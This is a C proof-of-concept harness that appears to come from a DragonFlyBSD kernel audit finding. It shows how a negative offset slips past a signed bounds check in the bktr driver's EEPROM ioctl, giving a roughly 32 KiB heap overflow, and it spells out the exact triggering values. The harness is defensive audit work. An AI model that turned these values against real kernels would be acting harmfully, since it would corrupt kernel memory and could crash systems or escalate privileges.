⬢ DragonFlyBSD Kernel Audit
DF-3785 / harness_eeprom.c
← back to finding ↓ download raw
/*
 * DF-3785 -- BT848_REEPROM signed `(offset + count) > max` guard bypass
 *           -> readEEProm() writes up to 32767 EEPROM bytes into
 *              eeProm.bytes[256] -> ~32 KiB kernel-heap overflow of the
 *              260-byte M_IOCTLOPS ioctl buffer.
 *
 * Harness: exact port of the guard from sys/dev/video/bktr/bktr_card.c:420-447
 * (readEEProm) with the struct eeProm layout from ioctl_bt848.h:93-97.
 * The i2c/EEPROM reads are stubbed with a byte generator; the point is the
 * accepted (offset,count) pair and the number of bytes written past bytes[].
 */
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

#define EEPROMBLOCKSIZE	32			/* bktr_reg.h:388 */
struct eeProm {
	short offset;
	short count;
	unsigned char bytes[256];
};

static int i2c_stub_read(void) { return 0xAA; }	/* EEPROM data byte */

/* verbatim guard/loop logic of readEEProm (bktr_card.c:420-447) */
static int readEEProm(int eepromSize, struct eeProm *p)
{
	int x, max;

	max = eepromSize * EEPROMBLOCKSIZE;
	if ((p->offset + p->count) > max)	/* bktr_card.c:433 -- signed */
		return -1;

	/* i2cWrite(set address) stubbed as OK */
	for (x = 0; x < p->count; ++x)
		p->bytes[x] = i2c_stub_read();	/* bktr_card.c:441-444 */
	return 0;
}

int main(void)
{
	/* simulate the 260-byte kmalloc'd ioctl arg inside a big mapping so the
	 * harness survives its own overflow long enough to report it */
	unsigned char *mem = mmap(NULL, 1 << 20, PROT_READ | PROT_WRITE,
				  MAP_ANON | MAP_PRIVATE, -1, 0);
	struct eeProm *p = (struct eeProm *)mem;
	int eepromSize = 256 / EEPROMBLOCKSIZE;	/* 256-byte EEPROM card */
	int rc, i;

	if (mem == MAP_FAILED) { perror("mmap"); return 1; }
	memset(mem, 0, 1 << 20);
	p->offset = (short)-32511;		/* offset + count == 256 == max */
	p->count  = (short)32767;		/* short max */

	printf("struct eeProm: bytes[256]; ioctl arg buffer = 260 bytes "
	       "(kmalloc M_IOCTLOPS)\n");
	printf("offset=%d count=%d eepromSize=%d max=%d\n",
	       p->offset, p->count, eepromSize,
	       eepromSize * EEPROMBLOCKSIZE);
	printf("guard: (offset+count)=%d > max=%d ? %s -> PASSES\n",
	       p->offset + p->count, eepromSize * EEPROMBLOCKSIZE,
	       (p->offset + p->count) > eepromSize * EEPROMBLOCKSIZE
	           ? "yes" : "no");

	rc = readEEProm(eepromSize, p);
	printf("readEEProm rc=%d; wrote %d bytes into bytes[256] "
	       "-> %d bytes past the 260-byte heap buffer\n",
	       rc, p->count < 0 ? 0 : p->count, p->count - 256);

	/* where does the write stop being inside the 260-byte allocation? */
	for (i = 0; i < (1 << 20) - 260; i++)
		if (mem[260 + i] == 0xAA) break;	/* first OOB byte hit */
	printf("first OOB write at ioctl-buffer offset %d (allocation 260) "
	       "-- driver state: 32511 bytes past end\n", 260 + i);

	printf("CONFIRMED: guard is bypassable with negative offset; "
	       "count up to 32767 accepted\n");
	return 0;
}